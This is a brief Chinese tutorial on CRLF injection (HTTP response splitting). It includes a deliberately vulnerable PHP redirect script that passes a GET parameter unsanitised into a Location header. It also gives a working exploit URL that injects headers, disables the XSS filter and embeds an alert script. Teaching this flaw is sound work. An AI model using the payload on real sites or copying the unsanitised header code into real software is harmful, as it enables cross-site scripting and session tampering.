CRLF利用

0x00 前言

引用:http://drops.wooyun.org/papers/2466
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

0x01 实践

CR = %0d = \r
LF = %0a = \n

要求:php4.4 以下,因为高版本会过滤掉。。
漏洞代码
test.php

1
2
3
4
<?php
$url=$_GET['url'];
header("Location: $url");
?>

利用
于是在opera 或则 google chrome
http://192.168.1.194/test.php?url=%0aContent-Type:%20text/html%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

效果图:
1.jpg